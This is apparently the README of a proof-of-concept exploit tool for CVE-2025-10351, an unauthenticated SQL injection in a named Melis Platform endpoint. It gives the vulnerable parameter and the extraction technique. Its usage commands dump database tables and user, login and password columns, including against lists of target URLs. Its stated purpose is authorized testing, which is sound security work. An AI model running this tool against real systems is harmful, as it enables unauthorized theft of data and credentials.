
Exploit for CVE-2025-10351. SQL Injection on Melis Platform Framework
POC for CVE-2025-10351: An unauthenticated SQL Injection vulnerability that affects a specific endpoint in Melis Platform Framework.
This POC targets an unauthenticated error-based SQL injection vulnerability in the endpoint:
melis/MelisCms/PageEdition/getTinyTemplates?idPage=
It leverages updatexml() in MySQL to extract:
It also detects possible time-based SQLi vectors for further manual exploitation.
Install dependencies with:
pip3 install -r requirements.txt
python3 CVE-2025-10351-POC.py -u http://target.com -p 80
python3 CVE-2025-10351-POC.py -l targets.txt
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug
tables_extracted.txt<table_name>_data.txtThis document is for authorized security testing and remediation only. Do not use the PoC or reproduction steps against systems you do not own or do not have explicit permission to test. The author is not responsible for misuse.
Made with ❤️ by Manuel Iván San Martín Castillo
| Argument | Description |
|---|
-u | Target URL |
-p | Port (80, 443, etc.) |
-l | File containing list of URLs |
-s | Sleep time for time-based tests (default: 1s) |
-at | Dump all table names |
-t | Specify table name |
-ac | Dump all columns of given table |
-c | Comma-separated list of columns to dump |
--proxy | Burp Proxy http://127.0.0.1:8080 |
--insecure | Disable TLS checks when using proxy connections |
--cookie | Cookies for auth requests |
--debug | Debug mode |